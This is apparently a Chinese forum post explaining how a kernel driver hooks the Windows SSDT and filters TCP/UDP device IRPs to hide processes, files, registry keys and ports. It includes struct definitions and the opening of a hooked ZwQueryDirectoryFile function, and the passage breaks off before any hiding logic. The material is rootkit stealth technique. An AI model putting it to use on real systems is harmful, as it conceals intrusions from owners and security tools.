查找进程，目录/文件，注册表等操作系统将最终调用 ZwQueryDirectoryFile，ZwQuerySystemInformation，ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的，需先自己实现以上函数，并修改系统维护的一个SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见，所以要写 DRIVE 在 RING 0 下才可修改。关于如何修改已有文章详细介绍过，这里不在详述。（可以参见 sysinternals.com 或 WebCrazy 所写的文章）。查找端口用的是 TDI 查询。TDI 导出了两个设备 \\Device\\Tcp 与 \\Device\\Udp。我们可以利用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到隐藏任意端口的目的。上述提到的方法不是新东西，是在N年前就已经有的老技术。俺现在将它贴出来只不过为了充实下版面，灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程，目录/文件，端口代码片段。
（注册表操作在 RegMon 中写的很详细，这里就不列出了）
typedef struct _FILETIME
{
DWORD dwLowDateTime;
DWORD dwHighDateTime;
}FILETIME;
typedef struct _DirEntry
{
DWORD dwLenToNext;
DWORD dwAttr;
FILETIME ftCreate, ftLastAccess, ftLastWrite;
DWORD dwUnknown[ 2 ];
DWORD dwFileSizeLow;
DWORD dwFileSizeHigh;
DWORD dwUnknown2[ 3 ];
WORD wNameLen;
WORD wUnknown;
DWORD dwUnknown3;
WORD wShortNameLen;
WCHAR swShortName[ 12 ];
WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
};
// 隐藏目录/文件
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS rc;
CHAR aProcessName[80];
ANSI_STRING ansiFileName,ansiDirName;
UNICODE_STRING uniFileName;
PP_DIR ptr;
WCHAR ParentDirectory[1024] = {0};
int BytesReturned;
PVOID Object;
// 执行旧的ZwQueryDirectoryFile函数
rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(hFile,hEvent,IoApcRoutine,
IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,
FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);
if(NT_SUCCESS(rc))
{
PDirEntry p;
PDirEntry pLast;
BOOL bLastOne;
int found;
p = (PDirEntry)FileInformationBuffer; // 将查找出来
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